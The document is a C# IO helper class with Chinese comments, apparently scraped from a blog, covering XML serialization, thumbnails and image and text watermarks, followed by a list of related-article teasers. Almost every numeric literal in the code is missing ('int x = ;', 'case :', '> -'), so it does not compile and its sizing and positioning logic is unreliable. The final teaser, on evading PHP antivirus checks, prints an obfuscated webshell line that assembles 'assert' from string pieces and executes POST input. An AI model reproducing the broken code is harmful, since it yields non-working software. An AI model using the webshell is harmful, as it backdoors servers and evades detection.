using System;
using System.IO;
using System.Web;
using System.Drawing;
using System.Drawing.Imaging;
using System.Drawing.Drawing2D;
using System.Xml.Serialization; namespace ZMM.Core
{
/// <summary>
/// IO帮助类
/// </summary>
public class IOHelper
{
//是否已经加载了JPEG编码解码器
private static bool _isloadjpegcodec = false;
//当前系统安装的JPEG编码解码器
private static ImageCodecInfo _jpegcodec = null; /// <summary>
/// 获得文件物理路径
/// </summary>
/// <returns></returns>
public static string GetMapPath(string path)
{
if (HttpContext.Current != null)
{
return HttpContext.Current.Server.MapPath(path);
}
else
{
return System.Web.Hosting.HostingEnvironment.MapPath(path);
}
} #region 序列化 /// <summary>
/// XML序列化
/// </summary>
/// <param name="obj">序列对象</param>
/// <param name="filePath">XML文件路径</param>
/// <returns>是否成功</returns>
public static bool SerializeToXml(object obj, string filePath)
{
bool result = false; FileStream fs = null;
try
{
fs = new FileStream(filePath, FileMode.Create, FileAccess.Write, FileShare.ReadWrite);
XmlSerializer serializer = new XmlSerializer(obj.GetType());
serializer.Serialize(fs, obj);
result = true;
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (fs != null)
fs.Close();
}
return result; } /// <summary>
/// XML反序列化
/// </summary>
/// <param name="type">目标类型(Type类型)</param>
/// <param name="filePath">XML文件路径</param>
/// <returns>序列对象</returns>
public static object DeserializeFromXML(Type type, string filePath)
{
FileStream fs = null;
try
{
fs = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
XmlSerializer serializer = new XmlSerializer(type);
return serializer.Deserialize(fs);
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (fs != null)
fs.Close();
}
} #endregion #region 水印,缩略图 /// <summary>
/// 获得当前系统安装的JPEG编码解码器
/// </summary>
/// <returns></returns>
public static ImageCodecInfo GetJPEGCodec()
{
if (_isloadjpegcodec == true)
return _jpegcodec; ImageCodecInfo[] codecsList = ImageCodecInfo.GetImageEncoders();
foreach (ImageCodecInfo codec in codecsList)
{
if (codec.MimeType.IndexOf("jpeg") > -)
{
_jpegcodec = codec;
break;
} }
_isloadjpegcodec = true;
return _jpegcodec;
} /// <summary>
/// 生成缩略图
/// </summary>
/// <param name="imagePath">图片路径</param>
/// <param name="thumbPath">缩略图路径</param>
/// <param name="width">缩略图宽度</param>
/// <param name="height">缩略图高度</param>
/// <param name="mode">生成缩略图的方式</param>
public static void GenerateThumb(string imagePath, string thumbPath, int width, int height, string mode)
{
Image image = Image.FromFile(imagePath); string extension = imagePath.Substring(imagePath.LastIndexOf(".")).ToLower();
ImageFormat imageFormat = null;
switch (extension)
{
case ".jpg":
case ".jpeg":
imageFormat = ImageFormat.Jpeg;
break;
case ".bmp":
imageFormat = ImageFormat.Bmp;
break;
case ".png":
imageFormat = ImageFormat.Png;
break;
case ".gif":
imageFormat = ImageFormat.Gif;
break;
default:
imageFormat = ImageFormat.Jpeg;
break;
} int toWidth = width > ? width : image.Width;
int toHeight = height > ? height : image.Height; int x = ;
int y = ;
int ow = image.Width;
int oh = image.Height; switch (mode)
{
case "HW"://指定高宽缩放(可能变形)
break;
case "W"://指定宽,高按比例
toHeight = image.Height * width / image.Width;
break;
case "H"://指定高,宽按比例
toWidth = image.Width * height / image.Height;
break;
case "Cut"://指定高宽裁减(不变形)
if ((double)image.Width / (double)image.Height > (double)toWidth / (double)toHeight)
{
oh = image.Height;
ow = image.Height * toWidth / toHeight;
y = ;
x = (image.Width - ow) / ;
}
else
{
ow = image.Width;
oh = image.Width * height / toWidth;
x = ;
y = (image.Height - oh) / ;
}
break;
default:
break;
} //新建一个bmp
Image bitmap = new Bitmap(toWidth, toHeight); //新建一个画板
Graphics g = Graphics.FromImage(bitmap); //设置高质量插值法
g.InterpolationMode = InterpolationMode.High; //设置高质量,低速度呈现平滑程度
g.SmoothingMode = SmoothingMode.HighQuality; //清空画布并以透明背景色填充
g.Clear(Color.Transparent); //在指定位置并且按指定大小绘制原图片的指定部分
g.DrawImage(image,
new Rectangle(, , toWidth, toHeight),
new Rectangle(x, y, ow, oh),
GraphicsUnit.Pixel); try
{
bitmap.Save(thumbPath, imageFormat);
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (g != null)
g.Dispose();
if (bitmap != null)
bitmap.Dispose();
if (image != null)
image.Dispose();
}
} /// <summary>
/// 生成图片水印
/// </summary>
/// <param name="originalPath">源图路径</param>
/// <param name="watermarkPath">水印图片路径</param>
/// <param name="targetPath">保存路径</param>
/// <param name="position">位置</param>
/// <param name="opacity">透明度</param>
/// <param name="quality">质量</param>
public static void GenerateImageWatermark(string originalPath, string watermarkPath, string targetPath, int position, int opacity, int quality)
{
Image originalImage = null;
Image watermarkImage = null;
//图片属性
ImageAttributes attributes = null;
//画板
Graphics g = null;
try
{ originalImage = Image.FromFile(originalPath);
watermarkImage = new Bitmap(watermarkPath); if (watermarkImage.Height >= originalImage.Height || watermarkImage.Width >= originalImage.Width)
{
originalImage.Save(targetPath);
return;
} if (quality < || quality > )
quality = ; //水印透明度
float iii;
if (opacity > && opacity <= )
iii = (float)(opacity / 10.0F);
else
iii = 0.5F; //水印位置
int x = ;
int y = ;
switch (position)
{
case :
x = (int)(originalImage.Width * (float).);
y = (int)(originalImage.Height * (float).);
break;
case :
x = (int)((originalImage.Width * (float).) - (watermarkImage.Width / ));
y = (int)(originalImage.Height * (float).);
break;
case :
x = (int)((originalImage.Width * (float).) - (watermarkImage.Width));
y = (int)(originalImage.Height * (float).);
break;
case :
x = (int)(originalImage.Width * (float).);
y = (int)((originalImage.Height * (float).) - (watermarkImage.Height / ));
break;
case :
x = (int)((originalImage.Width * (float).) - (watermarkImage.Width / ));
y = (int)((originalImage.Height * (float).) - (watermarkImage.Height / ));
break;
case :
x = (int)((originalImage.Width * (float).) - (watermarkImage.Width));
y = (int)((originalImage.Height * (float).) - (watermarkImage.Height / ));
break;
case :
x = (int)(originalImage.Width * (float).);
y = (int)((originalImage.Height * (float).) - watermarkImage.Height);
break;
case :
x = (int)((originalImage.Width * (float).) - (watermarkImage.Width / ));
y = (int)((originalImage.Height * (float).) - watermarkImage.Height);
break;
case :
x = (int)((originalImage.Width * (float).) - (watermarkImage.Width));
y = (int)((originalImage.Height * (float).) - watermarkImage.Height);
break;
} //颜色映射表
ColorMap colorMap = new ColorMap();
colorMap.OldColor = Color.FromArgb(, , , );
colorMap.NewColor = Color.FromArgb(, , , );
ColorMap[] newColorMap = { colorMap }; //颜色变换矩阵,iii是设置透明度的范围0到1中的单精度类型
float[][] newColorMatrix ={
new float[] {1.0f, 0.0f, 0.0f, 0.0f, 0.0f},
new float[] {0.0f, 1.0f, 0.0f, 0.0f, 0.0f},
new float[] {0.0f, 0.0f, 1.0f, 0.0f, 0.0f},
new float[] {0.0f, 0.0f, 0.0f, iii, 0.0f},
new float[] {0.0f, 0.0f, 0.0f, 0.0f, 1.0f}
};
//定义一个 5 x 5 矩阵
ColorMatrix matrix = new ColorMatrix(newColorMatrix); //图片属性
attributes = new ImageAttributes();
attributes.SetRemapTable(newColorMap, ColorAdjustType.Bitmap);
attributes.SetColorMatrix(matrix, ColorMatrixFlag.Default, ColorAdjustType.Bitmap); //画板
g = Graphics.FromImage(originalImage);
//绘制水印
g.DrawImage(watermarkImage, new Rectangle(x, y, watermarkImage.Width, watermarkImage.Height), , , watermarkImage.Width, watermarkImage.Height, GraphicsUnit.Pixel, attributes);
//保存图片
EncoderParameters encoderParams = new EncoderParameters();
encoderParams.Param[] = new EncoderParameter(Encoder.Quality, new long[] { quality });
if (GetJPEGCodec() != null)
originalImage.Save(targetPath, _jpegcodec, encoderParams);
else
originalImage.Save(targetPath);
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (g != null)
g.Dispose();
if (attributes != null)
attributes.Dispose();
if (watermarkImage != null)
watermarkImage.Dispose();
if (originalImage != null)
originalImage.Dispose();
}
} /// <summary>
/// 生成文字水印
/// </summary>
/// <param name="originalPath">源图路径</param>
/// <param name="targetPath">保存路径</param>
/// <param name="text">水印文字</param>
/// <param name="textSize">文字大小</param>
/// <param name="textFont">文字字体</param>
/// <param name="position">位置</param>
/// <param name="quality">质量</param>
public static void GenerateTextWatermark(string originalPath, string targetPath, string text, int textSize, string textFont, int position, int quality)
{
Image originalImage = null;
//画板
Graphics g = null;
try
{
originalImage = Image.FromFile(originalPath);
//画板
g = Graphics.FromImage(originalImage);
if (quality < || quality > )
quality = ; Font font = new Font(textFont, textSize, FontStyle.Regular, GraphicsUnit.Pixel);
SizeF sizePair = g.MeasureString(text, font); float x = ;
float y = ; switch (position)
{
case :
x = (float)originalImage.Width * (float).;
y = (float)originalImage.Height * (float).;
break;
case :
x = ((float)originalImage.Width * (float).) - (sizePair.Width / );
y = (float)originalImage.Height * (float).;
break;
case :
x = ((float)originalImage.Width * (float).) - sizePair.Width;
y = (float)originalImage.Height * (float).;
break;
case :
x = (float)originalImage.Width * (float).;
y = ((float)originalImage.Height * (float).) - (sizePair.Height / );
break;
case :
x = ((float)originalImage.Width * (float).) - (sizePair.Width / );
y = ((float)originalImage.Height * (float).) - (sizePair.Height / );
break;
case :
x = ((float)originalImage.Width * (float).) - sizePair.Width;
y = ((float)originalImage.Height * (float).) - (sizePair.Height / );
break;
case :
x = (float)originalImage.Width * (float).;
y = ((float)originalImage.Height * (float).) - sizePair.Height;
break;
case :
x = ((float)originalImage.Width * (float).) - (sizePair.Width / );
y = ((float)originalImage.Height * (float).) - sizePair.Height;
break;
case :
x = ((float)originalImage.Width * (float).) - sizePair.Width;
y = ((float)originalImage.Height * (float).) - sizePair.Height;
break;
} g.DrawString(text, font, new SolidBrush(Color.White), x + , y + );
g.DrawString(text, font, new SolidBrush(Color.Black), x, y); //保存图片
EncoderParameters encoderParams = new EncoderParameters();
encoderParams.Param[] = new EncoderParameter(Encoder.Quality, new long[] { quality });
if (GetJPEGCodec() != null)
originalImage.Save(targetPath, _jpegcodec, encoderParams);
else
originalImage.Save(targetPath);
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (g != null)
g.Dispose();
if (originalImage != null)
originalImage.Dispose();
}
} #endregion
}
}

IO帮助类的更多相关文章

  1. System.IO.Directory类

    1.参考的博客:System.IO.Directory类和System.DirectoryInfo类(http://blog.sina.com.cn/s/blog_614f473101017du4.h ...

  2. java.io.File类

    java.io.File类 1.凡是与输入.输出相关的类.接口等都定义在java.io包下 2.File是一个类.能够有构造器创建其对象.此对象相应着一个文件(.txt .avi .doc .ppt ...

  3. 详解C#中System.IO.File类和System.IO.FileInfo类的用法

    System.IO.File类和System.IO.FileInfo类主要提供有关文件的各种操作,在使用时需要引用System.IO命名空间.下面通过程序实例来介绍其主要属性和方法. (1) 文件打开 ...

  4. java.io.File类操作

    一.java.io.File类 String path="E:/222/aaa";//路径 String path1="aaa.txt"; File file= ...

  5. JAVA之旅(三十)——打印流PrintWriter,合并流,切割文件并且合并,对象的序列化Serializable,管道流,RandomAccessFile,IO其他类,字符编码

    JAVA之旅(三十)--打印流PrintWriter,合并流,切割文件并且合并,对象的序列化Serializable,管道流,RandomAccessFile,IO其他类,字符编码 三十篇了,又是一个 ...

  6. Java输入输出流(IO)-----文件类File详解

       1.java.io.File类简介 凡是与输入.输出相关的类.接口等都定义在java.io包下 File是一个类,可以有构造器创建其对象.此对象对应着一个文件(.txt .avi .doc .p ...

  7. XML序列化 判断是否是手机 字符操作普通帮助类 验证数据帮助类 IO帮助类 c# Lambda操作类封装 C# -- 使用反射(Reflect)获取dll文件中的类型并调用方法 C# -- 文件的压缩与解压(GZipStream)

    XML序列化   #region 序列化 /// <summary> /// XML序列化 /// </summary> /// <param name="ob ...

  8. System.IO.File类和System.IO.FileInfo类

    1.System.IO.File类 ※文件create, copy,move,SetAttributes,open,exists ※由于File.Create方法默认向所有用户授予对新文件的完全读写. ...

  9. 33.JAVA编程思想——JAVA IO File类

    33.JAVA编程思想--JAVA IO File类 RandomAccessFile用于包括了已知长度记录的文件.以便我们能用 seek()从一条记录移至还有一条:然后读取或改动那些记录. 各记录的 ...

随机推荐

  1. 马昕璐/唐月晨 《面向对象程序设计(java)》第十一周学习总结

    一:理论部分. 一般将数据结构分为两大类:线性数据结构和非线性数据结构 线性数据结构:线性表.栈.队列.串.数组和文件 非线性数据结构:树和图. 线性表:1.所有数据元素在同一个线性表中必须是相同的数 ...

  2. webpack学习最基本的使用方式(一)

    网页中引入的静态资源多了以后会有什么问题.? 1.网页加载速度慢,因为我们要发起很多的二次请求 2.要处理错综复杂的依赖关系 如何解决上面的问题 1.合并,压缩图片,使用精灵图 2.可以使用之前学过的 ...

  3. 了解vue APi

    阳光那么好,何必自寻烦恼,过好每一个当下,一万个美丽的未来抵不过一个温暖的现在. 一.Vue.nextTick(): 该api 是在Dom节点更新结束之后执行的一个延时回调.在修改数据之后,立即使用这 ...

  4. linux学习:curl与netcat用法整理

    CURL 语法: curl [option] [url] 常用参数:-A/--user-agent <string> 设置用户代理发送给服务器-b/--cookie <name=st ...

  5. Filter(过滤器)

    一.Filter简介 Filter也称之为过滤器,它是Servlet技术中最激动人心的技术,WEB开发人员通过Filter技术,对web服务器管理的所有web资源:例如Jsp, Servlet, 静态 ...

  6. CESSNA: Resilient Edge-Computing

    CESSNA: 弹性边缘计算 本文为SIGCOMM 2018 Workshop (Mobile Edge Communications, MECOMM)论文. 笔者翻译了该论文.由于时间仓促,且笔者英 ...

  7. Windows10获取VS管理员权限总是很烦人

    之前在Windows 7中,只要关闭了UAC,给当前账户管理员权限,任何程序都会以管理员身份启动.现在,在Windows 10上就行不通了.而VS又需要管理员权限才能使用附加调试等一些功能.虽然我们可 ...

  8. 简单实用而不追求时髦的 Vim 配置

    前言 由于 Vim 的广泛流行,在网络上关于 Vim 的自定义配置汗牛充栋.既有高手 Tim Pope 的极简配置 tpope/vim-sensible(这个配置一个插件都没有),也有 spf13/s ...

  9. Batch入门教程丨第一章:部署与Hello World!(上)

    Batch入门教程 在本教程中,您将了解并学习与Windows Batch有关的知识和编程方法,用以解决在日常生活中所遇到的简单问题,或者利用Windows Batch建立一个最初级的编程思维方式. ...

  10. php免杀教程【绝对原创】

    .函数回调. 使用其他函数进行调用,并执行. 如:array_map('a'.'s'.'se'.'r'.'t',array($_POST['x'])); 详细教程 + 测试结果(安全狗+360主机卫士 ...